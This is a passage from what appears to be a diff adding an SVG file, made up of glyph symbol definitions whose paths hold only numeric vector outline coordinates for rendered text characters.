-2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 -4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 0 2.046875 L 4.90625 2.046875 L 4.90625 3 L 0 3 Z M 0 2.046875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 -9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 -1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
